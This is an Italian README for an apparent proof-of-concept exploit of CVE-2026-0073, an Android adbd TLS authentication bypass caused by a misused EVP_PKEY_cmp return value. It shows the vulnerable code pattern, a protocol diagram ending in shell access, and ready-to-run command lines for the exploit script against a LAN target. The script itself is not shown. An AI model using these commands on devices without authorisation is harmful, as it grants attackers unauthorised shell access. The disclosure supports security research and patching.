
CVE-2026-0073 — Bypass dell'autenticazione TLS del demone ADB Android (adbd) tramite confusione di tipo EVP_PKEY_cmp. Ottieni accesso shell non autorizzato tramite WiFi sfruttando la mancata corrispondenza delle chiavi EC/Ed25519. PoC exploit per Android 14+.
EVP_PKEY_cmp() → shell ADB non autorizzataUn bypass critico dell'autenticazione nel demone ADB di Android (adbd) consente a qualsiasi attaccante sulla rete locale di ottenere una shell completa sul dispositivo di destinazione senza autorizzazione dell'utente.
La vulnerabilità risiede in adbd_tls_verify_cert() all'interno di daemon/auth.cpp, dove EVP_PKEY_cmp() viene usato come valore booleano. Quando la chiave memorizzata è RSA e il certificato client TLS presentato trasporta una chiave non-RSA (EC P-256 o Ed25519), EVP_PKEY_cmp() restituisce -1 (mancata corrispondenza di tipo), che è truthy in C/C++, quindi authorized = true.
// Pattern di codice vulnerabile in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 è truthy!
authorized = true;
}
pip install cryptography
# Shell interattiva
python adb_tls_auth_bypass.py <IP_DESTINAZIONE> <PORTA>
# Esecuzione di un singolo comando
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Modalità verbosa (vedi traccia completa del protocollo)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Per impostazione predefinita, lo script prova automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 finché uno non riesce.
Attaccante Target (adbd)
│ │
│──── Connessione TCP ──────────────►│
│──── CNXN (testo chiaro) ──────────►│
│◄─── STLS (richiesta upgrade TLS) ─│
│──── Risposta STLS ────────────────►│
│ │
│════ Handshake TLS 1.3 ════════════│
│ (certificato client EC P-256 presentato) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 è truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (info dispositivo) ──────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (I/O shell) ───────►│
│ │
[ACCESSO COMPLETO ALLA SHELL] │
⚠️ Importante: La chiave RSA deve trovarsi in
/data/misc/adb/adb_keys, che viene popolata tramite accoppiamento tramite debug USB (accettando la finestra di dialogo "Consentire il debug USB?"). L'accoppiamento tramite debug wireless (adb pair) memorizza le chiavi in una posizione diversa (adb_known_hosts.pb) e NON soddisfa questo requisito.
adb shell getprop ro.build.version.security_patch
Testato e confermato funzionante su:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Piattaforma: Android 14 (Emulatore Android Studio)
Questo fork include diversi miglioramenti:
select() per il supporto multipiattaforma-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Script exploit principale
└── README.md # Questo file
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottenere sempre la dovuta autorizzazione prima di effettuare test. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software.
EVP_PKEY_cmpSe questo ha aiutato la tua ricerca, lascia una ⭐
Valore di ritorno di EVP_PKEY_cmp() | Significato | Truthy in C? | Risultato |
|---|
1 | Le chiavi corrispondono | ✅ | Autorizzato (corretto) |
0 | Le chiavi differiscono | ❌ | Rifiutato (corretto) |
-1 | Mancata corrispondenza di tipo | ✅ | Autorizzato (BUG) |
| Requisito |
|---|
| Dettagli |
|---|
| Opzioni sviluppatore | Abilitate sul dispositivo di destinazione |
| Debug wireless | Abilitato (o ADB su TCP sulla porta 5555) |
| Chiave RSA memorizzata | Il dispositivo deve essere stato accoppiato via USB almeno una volta (/data/misc/adb/adb_keys) |
| Accesso di rete | L'attaccante deve raggiungere la porta TCP di adbd |